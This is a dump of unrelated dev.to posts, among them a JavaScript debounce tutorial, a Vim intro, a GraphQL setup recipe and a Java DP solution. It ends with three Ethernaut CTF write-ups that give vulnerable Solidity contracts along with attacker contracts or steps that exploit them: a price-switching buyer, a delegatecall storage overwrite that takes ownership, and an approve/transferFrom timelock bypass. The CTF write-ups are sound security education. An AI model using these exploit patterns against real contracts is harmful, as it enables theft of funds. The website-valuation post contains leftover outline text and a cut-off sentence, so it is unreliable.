teleren/devto huggingface dataset:
Using JavaScript Debounce to Only Send Network Request When User Stops Typing
Tags: javascript, beginners, webdev, programming
Published: 2022-07-16 16:04:49

When we have a search input and need to listen for `keyup` event from users and then send network request to our server using `fetch()` api. 

```javascript
const searchProducts = async (e) => {
  const name = e.target.value
  const res = await fetch(`https://someapi.com/products?name=${name}`)
  const users = await res.json()
}

const input = document.querySelector('input.search')
input.addEventListener('keyup', searchProducts)
```

But by doing this, we would be send `fetch()` request every time when user is typing a letter in the search input, and that is not ideal. We can refactor the codes to only send search request when user has finished typing. 

```javascript
const searchProducts = async (e) => {
  const name = e.target.value
  const res = await fetch(`https://someapi.com/products?name=${name}`)
  const products = await res.json()
}

let timeout // 1
const debounce = (e) => {
  clearTimeout(timeout) // 3
  timeout = setTimeout(() => { // 2
    searchProducts(e.target.value)
  }, 1000)
}

const input = document.querySelector('input.search')
input.addEventListener('keyup', debounce)
```

If you're a junior developer like me, this might looks 
a bit confusing. What's going here is that we're setting a global variable `timeout` (1), and then assign a `setTimeout` to it (2), but we need to clear that timeout otherwise `searchProducts()` will still get fired if user hasn't finished typing, meaning that `1s` has passed since user has started typing, but that doesn't necessarily mean user has finished typing.

Another way we can look at it is `setTimeout()` will return a `timeoutID`.

```javascript
/** 
 * assume we type our first letter in search box,
 * now debounce() will run once
 * we've set our first timeout and its timeoutID
 * will be returned and stored on timeout variable
 * timeoutID = 1 at this moment
 */
let timeout 
const debounce = (e) => {
  timeout = setTimeout(() => { // timeoutID = 1
    searchProducts(e.target.value)
  }, 1000)
}

/** 
 * now we type our second letter in search box,
 * debounce() will run again
 * we've set our second timeout and its timeoutID
 * will be returned and stored on timeout variable
 * timeoutID = 2 at this moment
 */
let timeout 
const debounce = (e) => {
  timeout = setTimeout(() => { // timeoutID = 2
    searchProducts(e.target.value)
  }, 1000)
}

// but our first timeout is still valid,
// if we don't cancel that, it will still run
// when 1s has passed since it's been created
// that is why we need to clear the timeout before 
// we set the next timeout
let timeout 
const debounce = (e) => {
  clearTimeout(timeout)
  timeout = setTimeout(() => { // timeoutID = 3
    searchProducts(e.target.value)
  }, 1000)
}
```

That's it. Hope it's helpful.
VIM: Introduction
Tags: vim, programming, editor
Published: 2022-07-16 16:02:36


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5iu1ag4xxvhd9vi8uou9.png)
**Video for this tutorial here:**

https://youtu.be/BNx7tgDdTi0

## What is VIM?
First of all, let’s talk about vi (pronouce vee-eye). Vi editor is a super popular editor in linux because it help you to increase your productivity by just using your keyboard. For that reason, you don’t need to use mouse when you want to move around in your file, you want to copy paste character or word, etc.

That’s it for vi and VIM is VI iMproved. So VIM is an improvement version of vi.

## Open VIM
So how can we enter the VIM world. Firstly, you need to have VIM in your computer. If you do not have VIM, then go to install it first. For Ubuntu, you can run this command:

`sudo apt install vim`

In Arch based distro:

`sudo pacman -S vim`

After you have vim in your computer then open your terminal and type vim . The screen you are seeing is VIM welcome screen. It will explain to you what is VIM, version of VIM, VIM’s author, license and some helpful command, especially quit command. Why we need to pay attention to quit command? Because some people use VIM for many years just because they have no idea how to quit VIM. Don’t be that guy.

## Quit VIM
As I say, quit VIM is a very important thing. Thus, to quit VIM, type ESC , after that type :q! . It means quit VIM without saving anything. Another way, you can type ZZ and you can quit VIM, too.

## Write something, save and quit
Now, open VIM again by typing vim . Type i , you will see INSERT message on the bottom left of your screen. In this mode, you can type anything you want. So let’s type some code: <?php echo 'Hello World'; . Save it by type ESC and type :w filename , it means save this file whose name is filename . In this case, I want it to be index.php then I will type :w index.php and type :q to exit. Next, check files, you will see your new file name index.php . Let’s run it if you have PHP in your computer, if not then skip it php index.php . Hooray, you can open VIM, type something and save it.

## Small tip and trick
I have a quicker way to name your file. When you open vim, you can type your filename after vim command. For example, vim filename , it means you start to write on file whose name is filename. Then when you want to save it, you just need to run command :w . In addition, if you want to save and quit, you can type :wq , it means write this file and quit.

## Conclusion
In this article, we learnt how to open, write, save and quit VIM. See you next time. Until that, I hope you happy with VIM. See ya!
10 GitHub profiles every developer must follow
Tags: blog, github, profiles
Published: 2022-07-16 15:59:01

{% embed https://blog.masaischool.com/10-github-profiles-every-developer-must-follow/ %}

> Jayant is a 21 years old computer science graduate from Jaypee Institute of Information Technology. His consistency on GitHub is something that makes him stand out. He has been active on the platform for 1046 consecutive days and in the process has clocked in more than 4000 hours of code.
> His interest in app development and data science becomes very evident when we look at his experiences at Theatron and TalentDecrypt respectively. With a detailed and comprehensive profile README that encompasses almost every small detail about the kind of developer he is, it is safe to say that Jayant has put up a GitHub profile that is far better than many developers out there.
> Within a span of 2 years, Jayant has been able to contribute 50,000+ times and make 40,000+ commits. His eagerness to contribute to a team becomes quite clear with these stats. All these numbers are set to go higher as he moves ahead in his career.
> His collection of 200+ repositories includes everything a college graduate would need to get better at programming. Young computer science graduates seeking inspiration and looking out for ways to make the most out of their time can reap huge benefits and as such should surely check out his profile.

-*Nitish R Sonu*(https://blog.masaischool.com/author/nitish/)
Recipe Finder App
Tags: beginners, netlify
Published: 2022-07-16 15:43:52

Hello Guys today i want to show you my Project "Recipe finder" which is created using "Spooncular" Api
Project Link 
https://e-recipes.netlify.app/

API link -
https://spoonacular.com/food-api

Check it out 

NOTE - It has very limited Number of API calls for free version
So, if you don't see any output then the chances are the api calls limit has reached it's maximum limit for today and will reset again tomorrow


Thats it for this post.
THANK YOU FOR READING THIS POST AND IF YOU FIND ANY MISTAKE OR WANTS TO GIVE ANY SUGGESTION , PLEASE MENTION IT IN THE COMMENT SECTION.
^^You can help me by some donation at the link below Thank you👇👇 ^^
☕ --> https://www.buymeacoffee.com/waaduheck <--

Also check these posts as well
https://dev.to/shubhamtiwari909/higher-order-function-in-javascript-1i5h

https://dev.to/shubhamtiwari909/styled-componenets-react-js-15kk

https://dev.to/shubhamtiwari909/introduction-to-tailwind-best-css-framework-1gdj
How to Estimate or Calculate any Website Worth
Tags: wort, wordpress, beginners, android
Published: 2022-07-16 15:17:21

 

## Introduction: What is a Website Worth?
A website is the first impression of a company. It is the first thing that potential customers see and it determines whether they will be interested in what the company has to offer.

It is not just a place for information, but also a place where customers can interact with the company and make purchases. A website has many purposes, but its value cannot be measured by any one of them.



## The introduction should mention:

– The importance of having an online presence – How websites are an important part of marketing – How different sections on a website are important for different purposes



## Website Valuation Methods

Website valuation is a tricky task, and it’s not always easy to come up with an accurate estimate. There are many factors that influence the value of a website, and they vary from project to project. The following are some of the most common methods used for estimating website values.



1) Cost per visitor: This method calculates the cost of acquiring visitors to your site, and then divides this by the traffic you receive per month. It is often used for sites that rely on advertising revenue or affiliate marketing as their primary source of income.



2) Cost per conversion: This method calculates how much it costs you to acquire a customer through your site, then divides this by the number of conversions you get per month. It is often used for e-commerce websites that rely on sales revenue as their



## The Six Factors for Determining the Approximate Value of a Website:

– Domain Age

– Domain Authority

– Page Authority

– Keywords in the Title Tag

– Keywords in the Headings Tags

– Keywords in the H1 Tag



## Conclusion – How Much is Your Site Worth? Calculate Yours Now!

The value of a website is calculated by the net present value of the cash flows that it generates in the future. The first method for determining this value is to use a discounted cash flow analysis. This method calculates a discount rate and then discounts future cash flows at that rate. The discount rate should be set to reflect the riskiness of the business.

A second method for determining website valuation is to use an income approach, which values the company based on its annual revenues or profits.

Calculate any website worth using [https://sitepricecalculator.com](https://sitepricecalculator.com)
Graphql test
Tags: graphql, javascript
Published: 2022-07-01 20:42:01

# Graphql API Code Cookbook

## Problem
Most of the APIs request an endpoint to access a predefined data structure. If you want to access other resources, it is necessary to request another endpoint, it makes the procces kind of tricky.
1. We only define a single endpoint (for example http://example/graphql).
2. Since this is a query language, all actions are done through a POST.



## Solution
GraphQL allow us to retrieve only the data we need by using a query language for web APIs.


## Recipe

### CRUD GraphQL API with Nodejs, Express & MongoDB

1. Create a new directory to store the project, run npm init to configure the new project
2. Run npm install to create our package.json file
3. Create a server.js file (entry point for our server)
4. Create the src folder and the below required folders and files:
    1. Create src/schema directory and an index.js file (will contain the business logic)
    2. Create a src/resolvers directory and an index.js file.
    3. Create an src/models directory and a post.js which holds what a post should look like.
    
    ```
    ├── src
    │   ├── schema
    │   │   └── index.js
    │   ├── resolvers
    │   │   └── index.js
    │   └── models
    │       └── post.js
    ├── package-lock.json
    ├── package.json
    └── server.js
    ```

5. Install the dependencies

    #### Using npm
    ```
      # npm
      $ npm install --save express express-graphql graphql body-parser
    ```

    #### Using yarn
    ```
      # yarn
      $ yarn add --save express express-graphql graphql body-parser
    ```

    > You can also install "nodemon" locally to avoid having to restart your server with each change
    
    ```
      $npm install --save-dev nodemon
    ```

    > Also you need to update your "package.json"  for using "nodemon".
    
    ```json
      "scripts": { "start": "nodemon server.js"}
    ```
Sharing my portfolio website
Tags: nextjs, webdev, beginners, showdev
Published: 2022-07-16 15:11:58

## Introduction

Hi everyone!

I want to share to all of you that my portfolio website is now live! It is connected to Github REST API and Dev.to REST API for the JSON data.


You may check it out [here](https://jeffreyasilo.com/)


The reason why I use Next.js is because I'm planning to maintain my portfolio website in a long-term basis and start a beginner tutorial for those who are aspiring to shift in this industry. Also, the features of Next.js like SSG, SSR, ISR, Link component, Image optimization and many more, totally fit on my needs.

---

## My thoughts on my Portfolio website

Who would've have thought that a graduate of a marketing degree a few years ago can now build web applications and a website from scratch.

Shifting from a different industry is not an easy task as it takes a lot of time and effort to be considered competent compared to those who already have a background in the IT industry. However, that doesn't hinder me on achieving on my dreams as long as you have the passion and grit on what you are working on, you will surely be competent in no time.

On a side note, I am grateful that I had the opportunity to learn and acquire the skills and knowledge in marketing. It made me push even more to do the things that I want since it gave me confidence to hone my other talents and soft skills, which I guess an edge whenever I pursue in IT Industry. I see this an upskill on my part and I am definitely happy.

Seeing my project from scratch to production makes me feel proud and fulfilled because of what I've achieved. As a person who started my self-study journey last year, I am proud to say that this is now the result of my grit and passion for web development. Although I'm comfortable building a web-app or website from scratch, there are still a lot of things to discover and explore. The grind never stops when it comes to upskilling and on learning new technology.

---

### Tech and Tools Used in my Portfolio Site

- Next.js

- TypeScript

- Tailwindcss

- Framer-motion

- SendGrid

- React Hook Form

- Vercel

- Axiom

- Checkly


#### Conclusion

This post is meant to be a series of articles related on my journey on building my portfolio website. I will share here what I've learned during the process and teach some basic tutorial on the listed tech and tools on building on my portfolio site.

Thank you for reading and stay tuned for the series! 🙂
Design projects with NextSketch for IntelliJ
Tags: productivity, design, discuss, tooling
Published: 2022-07-16 15:06:04

Hello :)

Ever want to design the architecture of your next great product right inside IntelliJ IDEA? Something similar to tools like Mindomo and Pen-and-paper sketching, but more integrated into your IDE?


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lx2f29awvyce9u59pg0o.png)

This is NextSketch, an IntelliJ Plugin that's now available for purchase on the JetBrains Marketplace. Comment and let me know what you think of the idea!

Check it out at: _https://plugins.jetbrains.com/plugin/19963-nextsketch_ or www.nextsketch.ca

Have fun!
Maximum Sum Problem GeeksForGeeks
Tags: dp, java, algorithms
Published: 2022-07-16 14:52:55

**Problem Statement**

A number n can be broken into three parts n/2, n/3, and n/4 (consider only the integer part). Each number obtained in this process can be divided further recursively. Find the maximum sum that can be obtained by summing up the divided parts together.
Note: Given number must be divided at least once.

 

**Example 1**

```
Input:
n = 12
Output: 13
Explanation: Break n = 12 in three parts
{12/2, 12/3, 12/4} = {6, 4, 3}, now current
sum is = (6 + 4 + 3) = 13. Further breaking 6,
4 and 3 into parts will produce sum less than
or equal to 6, 4 and 3 respectively.
```

**Solution** 

```java
//User function Template for Java 
//recursive solution tc : o(3^n) as we are calling recursive function 3 times /2,/3 and /4
//space time complexity is : o(3^n) auxillary space for the stack as their will be 
// 3^n stack space that will be required
/*
class Solution
{
    public int maxSum(int n) 
    { 
        return solve(n);
    } 
    public int solve(int n){
        if(n==1 || n==0) return n;
        
        int a = n/2;
        int b = n/3;
        int c = n/4;
        
        return Integer.max(n,
        solve(a)+solve(b)+solve(c)
        );
    }
} */
// optimized solution using dynamic programming memoization top down approach
// time complexity is O(n) as at max there will be n states and dp will traverse those states 
// space complexity will be O(n) for dp and o(n) for stack space;
class Solution
{
    public int maxSum(int n) 
    { 
        int dp[] = new int[1000001];
        Arrays.fill(dp,-1);
        return solve(n,dp);
    } 
    public int solve(int n,int dp[]){
        if(n==1 || n==0) return n;
        if(dp[n]!=-1) return dp[n];
        int a = n/2;
        int b = n/3;
        int c = n/4;
        
        return dp[n]= Integer.max(n,
        solve(a,dp)+solve(b,dp)+solve(c,dp)
        );
    }
}
```
Ethernaut: 21. Shop
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:49:15

[Play the level](https://ethernaut.openzeppelin.com/level/0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
```

We had a similar puzzle back in the Elevator level: we need a function to return different things in a single transaction. The most barebones solution would be to check `gasLeft()` and return different results based on it, but here we have a cleaner solution.

```solidity
function buy() public {
  Buyer _buyer = Buyer(msg.sender);

  // during this call, isSold is false
  if (_buyer.price() >= price && !isSold) {
    // the state will change for isSold
    isSold = true;
    // during this call, isSold is true
    price = _buyer.price();
  }
}
```

As commented above, we can query the value of `isSold` and return a different result based on it. Our attacker contract will look like below, assuming we provide the Shop contract and the Buyer interface:

```solidity
contract BadBuyer is Buyer { 
  Shop target;
  constructor(address _target) {
    target = Shop(_target);
  }

  function price() external view override returns (uint) {
    return target.isSold() ? 0 : 100;
  }

  function pwn() public {
    target.buy();
  }
}
```
Ethernaut: 16. Preservation
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:42:49

[Play the level](https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {
  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {
  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
```

Here we are in the hands of the almighty `delegatecall`. The given contract actually suffers from a bug, which we used as an exploit in the 6th level (Delegation). When we call `setFirstTime`, it actually overwrites the value in `timeZone1Library` storage variable! Here is what we do:

1. Create a contract that has a function with `setTime(uint256)` signature. This contract should have enough storage variables so that you can overwrite `owner` variable in the caller's context.
2. Set the `timeZone1Library` address to the address of this contract via `setFirstTime(<your contract address>)`.
3. Call `setFirstTime(<whatever>)` again to execute your custom function.
4. Et voila! You are the owner.

A good takeaway from this level, quoting the author's message: "This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables."
Ethernaut: 15. Naught Coin
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:41:11

[Play the level](https://ethernaut.openzeppelin.com/level/0x096bb5e93a204BfD701502EB6EF266a950217218)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 
```

Here we have a simple ERC-20 contract in our hands, that prevents us to `transfer` money to someone. However, this does not prevent us to `approve` that someone, and let them call `transferFrom` to take our money. That is precisely what we are going to do. We create and deploy a simple contract:

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0; 

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";

contract NaughtWithdraw {
  function withdrawFrom(address _tokenAddr, address _from, uint _amount) public {
    bool success = IERC20(_tokenAddr).transferFrom(_from, address(this), _amount);
    require(success, "failed!");
  }
}
```

Then, we simply approve all our tokens to this address, and call `withdrawFrom` there with the respective parameters.